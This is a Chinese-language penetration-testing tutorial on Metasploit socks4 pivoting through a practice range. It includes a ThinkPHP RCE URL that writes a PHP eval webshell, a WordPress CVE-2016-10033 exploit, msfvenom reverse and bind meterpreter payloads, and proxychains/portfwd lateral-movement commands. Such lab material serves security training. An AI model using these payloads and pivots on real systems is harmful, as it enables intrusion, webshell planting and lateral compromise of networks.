| 关键词: shell 端口 跳板 穿透 meterpreter 127.0 MSF 10.0 目标 |
![]() 在平时护网比赛中,攻坚环境中,渗透测试中,做内网穿透使用的工具有很多如:EW、Cobalt Strike 为了方便小白入门,本次教程通过渗透过程中最常用的MSF攻击框架中socks4做内网穿透代理,实现内网横向渗透。 用本公司的靶场,模拟一个攻坚小场景: 外网IP:112.115.*.* (一台存在wordpress漏洞的web服务器) 内网:10.0.0.0/24 (模拟开发人员,一台为weblogic漏洞机器,一台为thinkphp漏洞机器) 渗透思路:用MSF对wordpress漏洞进行反弹shell,发现机器位于一个内网,建立socks4线路,横向扫描并对内网其他机器进行渗透并反弹shell 由于socks4做穿透超过3层就会失去流量速度,所以后期我会写一篇用EW或其他穿透工具做多网段多层穿透。 攻击机:kali 目标机:攻坚靶场 首先开启kali,利用Wordpress 4.6 任意命令执行漏洞,对主站服务器进行上传一句话或,直接反弹shell(为了一些教会小白一些提权细节,所以先写入一句话,然后在反弹msf shell)如果自己练习,可以直接msf生成shellcode扔到主站反弹shell。 0x001 主站渗透 打开主站http://122.115.*.*:8000/介绍一下这个漏洞 ![]() WordPress <= 4.6命令执行漏洞(PHPMailer)(CVE-2016-10033) POC
POST /wp-login.php?action=lostpassword HTTP/1.1
看到返回状态码为200代表已经成功创建了/var/www/html/vuln文件
注意:
先利用poc对主站写入一个vuln空白页面,测试漏洞 ![]() 然后写入一句话 ![]() 用中国蚁剑连接webshell,下一步准备msf生成一个shell ![]() ![]() 在linux系统下/var/tmp目录可以进行高权限反弹shell,打开新的一个终端输入"msfconsole"启动msf ![]() 新打开一个终端生成反弹shell命令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= ![]() 回到msf端口 ![]() 用webshell把生成的shell.elf上传到/var/tmp/目录下,chmod+x 提权(linux提权细节),在通过终端执行反弹shell ![]() 反弹shell成功,开始内网穿透 ![]() meterpreter > ipconfig ###查看网卡ip 0x002 搭建内网隧道横向渗透 meterpreter中添加好通向对方内网的路由 meterpreter > run autoroute -s 10.0.0.0/24 由于目标是linux的,所以直接进行下一步 msf>background 挂后台保持shell,开始下一步开启代理 msf exploit(handler) > use auxiliary/server/socks4a 然后apt install proxychains,我kali已经安装了所以直接 vim /etc/proxychains.conf ![]() 添加 socks4 127.0.0.1 1080 这样msf本地开启socks4穿透,通过shell,转发到跳板机的机器 proxychains nmap -sT -sV -Pn -n -p80 10.0.0.0/24 ###通过跳板机扫描内网 ![]() 发现 10.0.0.0/24段有个几台活跃ip,新建终端:proxychains firefox ####通过代理打开火狐浏览器 ![]() 通过web跳板机访问到10.0.0.3,但是问题来了,目标内网有一台漏洞主机10.0.0.3,但是用菜刀或者蚂剑无法直接连接,所以有两个办法: 1.通过proxy代理启动蚁剑或者菜刀 使用portfwd模块(Metasploit中的一个post模块)可完成端口转发 meterpreter > portfwd -h meterpreter > portfwd add -L 本地ip -l 本机端口 -p 目标内网端口 -r 目标内网 所以要建立一条线路用,msf 把本机某个端口直接转发到目标内网端口 攻击者本机<端口转发>>>>>跳板机>>>>>>目标机内网 现在无需任何代理,直接访问本机127.0.0.1:5000 就能访问到目标机内网 ![]() 现在内网穿透拓扑结构就是 127.0.0.1:5000<>socks4:主站的shll<>内网10.0.0.3:80 0x003 多层跳板机穿透 现在对内网10.0.0.3进行渗透和提权,也就是127.0.0.1:5000 内网10.0.0.3是一台包含ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞的机器 直接访问http://your-ip/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可执行phpinfo: ![]() 写入一句话shell就是 http://your-ip//index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST%5B-7%5D);?%3E 蚁剑连接shell:127.0.0.1:5000/shell.php ![]() 现在要对这台内网机器提权msfshell,由于是内网隔离环境,所以需要使用bind_shell 在msf生成一个bind_shell开端口木马启动后,在做本段端口转发过去,msf在bind连接 新起一个终端:msf生成一个bindshell的木马(正向连接) msfvenom -p linux/x86/meterpreter/bind_tcp lport=9999 -f elf -o bindshell 放到通过webshell 放到/var/tmp/下加权限,启动 ![]() 现在内网10.0.0.3在9999端口开启直接连shell权限,现在要做一个新的转发把10.0.0.3:9999端口转发到本地,然后msf直连 sessions 现在内网10.0.0.3的bindshell 9999 端口 转发到 本地127.0.0.1:9999端口了 msf进行直连shell use exploit/multi/handler ![]() 等待连接shell 反弹shell后,只需要在10.0.0.3的shell上 use auxiliary/server/socks4a 在/etc/proxychains.conf 中添加 socks4 127.0.0.1 1081 在proxychains nmap 扫描就是直接连接到10.0.0.3上进行转发扫描,内网二级穿透扫描 127.0.0.1:1080<>主站跳板跳板机<>10.0.0.3跳板机<>新ip(192.168.0.1) 实现了双跳板机内网穿透,同样方法,要是拿到192.168.0.1的第三层内网,只需要之前的添加个端口转发到本地,就能继续渗透。一般内网到第二层流量很少了,继续深层网段渗透就需要上 EW穿透神器等工具。 总结一下流程,拿到webshell,上传木马反弹的msf,msf做socks4的代理然后添加端口转发,进行下一层渗透,第二层同样继续反弹shell,做代理,端口转发。 |
| 本文出处: https://www.toutiao.com/i6745679925107229198/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|